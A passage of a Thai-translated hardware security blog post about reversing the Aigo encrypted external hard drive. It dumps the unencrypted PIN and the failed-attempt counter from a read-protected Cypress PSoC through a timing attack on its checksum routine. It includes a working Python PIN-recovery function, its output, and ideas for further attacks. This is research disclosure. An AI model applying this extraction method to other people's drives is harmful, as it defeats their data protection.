จากนั้น หลังจากใช้เวลาเกือบ 3 ชั่วโมง ฉันจำได้ว่าการเรียกระบบ SROM CheckSum ได้รับอาร์กิวเมนต์เป็นอินพุตที่ระบุจำนวนบล็อกสำหรับเช็คซัม! ที่. เราสามารถแปลที่อยู่การจัดเก็บของรหัส PIN และตัวนับ "ความพยายามที่ไม่ถูกต้อง" ได้อย่างง่ายดาย โดยมีความแม่นยำสูงสุดบล็อก 64 ไบต์

การวิ่งครั้งแรกของฉันให้ผลลัพธ์ดังต่อไปนี้:

การย้อนกลับและการแฮ็ก Aigo ไดรฟ์ HDD ภายนอกที่เข้ารหัสด้วยตนเอง ส่วนที่ 2: การดัมพ์จาก Cypress PSoC

จากนั้นฉันเปลี่ยนรหัส PIN จาก "123456" เป็น "1234567" และได้รับ:

การย้อนกลับและการแฮ็ก Aigo ไดรฟ์ HDD ภายนอกที่เข้ารหัสด้วยตนเอง ส่วนที่ 2: การดัมพ์จาก Cypress PSoC

ดังนั้นรหัส PIN และตัวนับความพยายามที่ไม่ถูกต้องจึงถูกจัดเก็บไว้ในบล็อกหมายเลข 126

7.5. ทำการทิ้งบล็อกหมายเลข 126

บล็อก #126 ควรอยู่ที่ไหนสักแห่งประมาณ 125x64x18 = 144000μs จากจุดเริ่มต้นของการคำนวณเช็คซัม ในดัมพ์ทั้งหมดของฉัน และมันก็ดูเป็นไปได้ทีเดียว จากนั้น หลังจากที่กรองดัมพ์ที่ไม่ถูกต้องจำนวนมากออกด้วยตนเอง (เนื่องจากการสะสมของ “ความเบี่ยงเบนด้านเวลาเล็กน้อย”) ฉันจึงได้รับไบต์เหล่านี้ (ในเวลาแฝง 145527 μs):

การย้อนกลับและการแฮ็ก Aigo ไดรฟ์ HDD ภายนอกที่เข้ารหัสด้วยตนเอง ส่วนที่ 2: การดัมพ์จาก Cypress PSoC

เห็นได้ชัดว่ารหัส PIN ถูกจัดเก็บในรูปแบบที่ไม่ได้เข้ารหัส! แน่นอนว่าค่าเหล่านี้ไม่ได้เขียนด้วยรหัส ASCII แต่ปรากฎว่าค่าเหล่านี้สะท้อนถึงการอ่านที่นำมาจากคีย์บอร์ดแบบ capacitive

ในที่สุด ฉันได้ทำการทดสอบเพิ่มเติมเพื่อค้นหาว่าตัวนับความพยายามที่ไม่ถูกต้องถูกจัดเก็บไว้ที่ไหน นี่คือผลลัพธ์:

การย้อนกลับและการแฮ็ก Aigo ไดรฟ์ HDD ภายนอกที่เข้ารหัสด้วยตนเอง ส่วนที่ 2: การดัมพ์จาก Cypress PSoC

0xFF - หมายถึง "ความพยายาม 15 ครั้ง" และจะลดลงทุกครั้งที่พยายามล้มเหลว

7.6. การกู้คืนรหัส PIN

นี่คือโค้ดที่น่าเกลียดของฉันที่รวบรวมสิ่งที่กล่าวมาข้างต้นไว้ด้วยกัน:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

นี่คือผลลัพธ์ของการดำเนินการ:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

ไชโย! ได้ผล!

โปรดทราบว่าค่าเวลาแฝงที่ฉันใช้น่าจะเกี่ยวข้องกับ PSoC เฉพาะอันหนึ่ง - อันที่ฉันใช้

8. อะไรต่อไป?

ดังนั้น เราจะมาสรุปในด้าน PSoC ในบริบทของการขับเคลื่อน Aigo ของเรา:

  • เราสามารถอ่าน SRAM ได้แม้ว่าจะได้รับการป้องกันการอ่านก็ตาม
  • เราสามารถข้ามการป้องกันการปัดนิ้วได้โดยใช้การโจมตีแบบ Cold Boot และอ่านรหัส PIN โดยตรง

อย่างไรก็ตาม การโจมตีของเรามีข้อบกพร่องบางประการเนื่องจากปัญหาการซิงโครไนซ์ สามารถปรับปรุงได้ดังนี้

  • เขียนยูทิลิตี้เพื่อถอดรหัสข้อมูลเอาต์พุตที่ได้รับจากการโจมตี "cold boot Trace" อย่างถูกต้อง
  • ใช้อุปกรณ์ FPGA เพื่อสร้างการหน่วงเวลาที่แม่นยำยิ่งขึ้น (หรือใช้ตัวจับเวลาฮาร์ดแวร์ Arduino)
  • ลองโจมตีอีกครั้ง: ป้อนรหัส PIN ที่ไม่ถูกต้องโดยเจตนา รีบูตและถ่ายโอนข้อมูล RAM โดยหวังว่ารหัส PIN ที่ถูกต้องจะถูกบันทึกไว้ใน RAM เพื่อการเปรียบเทียบ อย่างไรก็ตาม การทำเช่นนี้บน Arduino ไม่ใช่เรื่องง่าย เนื่องจากระดับสัญญาณ Arduino อยู่ที่ 5 โวลต์ ในขณะที่บอร์ดที่เรากำลังตรวจสอบใช้งานได้กับสัญญาณ 3,3 โวลต์

สิ่งที่น่าสนใจอย่างหนึ่งที่สามารถลองได้คือเล่นกับระดับแรงดันไฟฟ้าเพื่อหลีกเลี่ยงการป้องกันการอ่าน หากวิธีนี้ใช้ได้ผล เราจะสามารถรับข้อมูลที่แม่นยำอย่างยิ่งจากแฟลชไดรฟ์ แทนที่จะอาศัยการอ่านผลรวมที่มีความล่าช้าของเวลาที่ไม่แม่นยำ

เนื่องจาก SROM อาจอ่านบิตป้องกันผ่านการเรียกระบบ ReadBlock เราจึงสามารถทำสิ่งเดียวกันได้ อธิบายไว้ ในบล็อกของ Dmitry Nedospasov - การดำเนินการโจมตีของ Chris Gerlinski อีกครั้งประกาศในการประชุม "รีคอน บรัสเซลส์ 2017".

สิ่งที่น่าสนุกอีกอย่างที่สามารถทำได้คือการบดเคสออกจากชิป: ถ่ายโอนข้อมูล SRAM ระบุการเรียกของระบบที่ไม่มีเอกสารและช่องโหว่

9 ข้อสรุป

ดังนั้น การปกป้องไดรฟ์นี้จึงเป็นที่ต้องการอย่างมาก เนื่องจากไดรฟ์นี้ใช้ไมโครคอนโทรลเลอร์ปกติ (ไม่ใช่แบบ "แข็ง") เพื่อจัดเก็บรหัส PIN... นอกจากนี้ ฉันยังไม่ได้ดู (ยัง) ว่าสิ่งต่างๆ ดำเนินไปอย่างไรกับข้อมูล การเข้ารหัสบนอุปกรณ์นี้!

คุณจะแนะนำอะไรเกี่ยวกับ Aigo? หลังจากวิเคราะห์ไดรฟ์ HDD ที่เข้ารหัสสองสามรุ่นแล้ว ในปี 2015 ฉันก็ได้ทำ การเสนอ บน SyScan ซึ่งเขาตรวจสอบปัญหาความปลอดภัยของไดรฟ์ HDD ภายนอกหลายตัว และให้คำแนะนำเกี่ยวกับสิ่งที่ควรปรับปรุงในไดรฟ์เหล่านั้น 🙂

ฉันใช้เวลาสองสัปดาห์และหลายช่วงเย็นในการค้นคว้าข้อมูลนี้ รวมเวลาประมาณ 40 ชั่วโมง นับจากจุดเริ่มต้น (เมื่อฉันเปิดดิสก์) ไปจนถึงจุดสิ้นสุด (ดัมพ์รหัส PIN) 40 ชั่วโมงเดียวกันนั้นรวมเวลาที่ฉันใช้เขียนบทความนี้ด้วย เป็นทริปที่น่าตื่นเต้นมาก

ที่มา: will.com

เพิ่มความคิดเห็น